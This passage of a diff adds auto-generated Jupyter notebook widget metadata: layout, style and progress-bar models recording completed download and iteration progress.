+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8f487d06f9834f1b8dd0a63ffec62436": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "90c7965cfde540158d9e7cb049c2d7d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "91f32130b9fc47ceaae99521c0b70015": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9a8c5af4272b4da0ba4aafa4da89817b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_417a14ed83ba4535bf47a39b9298aa4f",
+            "placeholder": "",
+            "style": "IPY_MODEL_c797a3a49d1d44598e8810817eac04f6",
+            "value": " 525k/525k [00:00<00:00, 2.19MB/s]"
+          }
+        },
+        "9af01c4399c74223b5d7f94bd48d6952": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9b2140d07da744348068f013152b1160": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9ba492d205294bc0a8d07985ed271358": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9c01417376444eed820394ef843c0be3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9c2ff534109548fc8cab92f3b0aefc71": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e417a487b9ab44d68bf5d4155f4ff339",
+              "IPY_MODEL_ce0bc6a269b841e59b3c1b00796b8605",
+              "IPY_MODEL_b014fb9554fb4f61a8d44135a6ad4954"
+            ],
+            "layout": "IPY_MODEL_c30445a77e81411bbad4f90b8c54bc35"
+          }
+        },
+        "9c741e36450b4c66875df9dc3ba07507": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_cd9c9d32567f4e5aa9291f66b08490bf",
+              "IPY_MODEL_c4995db7a62844b4a00daaf55847cabd",
+              "IPY_MODEL_72fc113c125648538df5059fb578ae19"
+            ],
+            "layout": "IPY_MODEL_3943882166bb4470a800d9563f9e53a2"
+          }
+        },
+        "9e0fde0538f84469bd62e9ea9f589b4f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9e5ef9fe15314ce3bf13e61994851485": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9ecd3535823549bbbcbf3f131704d3eb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9af01c4399c74223b5d7f94bd48d6952",
+            "placeholder": "",
+            "style": "IPY_MODEL_aa44d82861804483b44e0f893b698b72",
+            "value": " 634/634 [00:00<00:00, 4.30kB/s]"
+          }
+        },
+        "9ee85e252d32428ea44a91c71cd62a36": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9f17b8692b824c0cb9a98cea381699a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cdcf280e7a3043c2a1d59e0eea379d96",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2e945d3f81204a538874a0a832102d15",
+            "value": 524619
+          }
+        },
+        "a1d133bc8fe344e2aed80fe5155177c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a25cd36e4deb410f9ee54a92a18c939c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a266a0d0bdde4a3aa09fec6a0a00abed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc60bbefdc2a490588dd8f58327fd264",
+            "max": 460,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3119598ffcab4d6f9d1642ee595736ee",
+            "value": 460
+          }
+        },
+        "a4d93e9fee48468281afac25f551806c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a5971d5b793545a3845fbe1029b557e1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a6b2ca41ffb24b9193a83fd9a4c24a8c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a8dbb00149f148ceaee2474c4304c902": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a9ab859e76814985877a4bacdb04e95a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "aa44d82861804483b44e0f893b698b72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ab1c2c3e457944acb16508cf7a721290": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ac71f4fe6e804f19b2529c82e5a42049": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "accd8a5f56cf41c5af297f8bf93f7058": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ed9e0cfb4635476f9e31c5b48aeafde8",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_396aee75c5954aa9b634d79c18177977",
+            "value": 75
+          }
+        },
+        "ad07cccdd8d44a9ab5e3458e8d902ac6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "aea53b42c35947c58d2c113bd2043078": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b014fb9554fb4f61a8d44135a6ad4954": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d612163ad6d24d91a6d7ee758d8d6367",
+            "placeholder": "",
+            "style": "IPY_MODEL_ab1c2c3e457944acb16508cf7a721290",
+            "value": " 75/75 [00:21<00:00,  3.39it/s]"
+          }
+        },
+        "b3ae18d50eb4415b950f98bb38362207": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
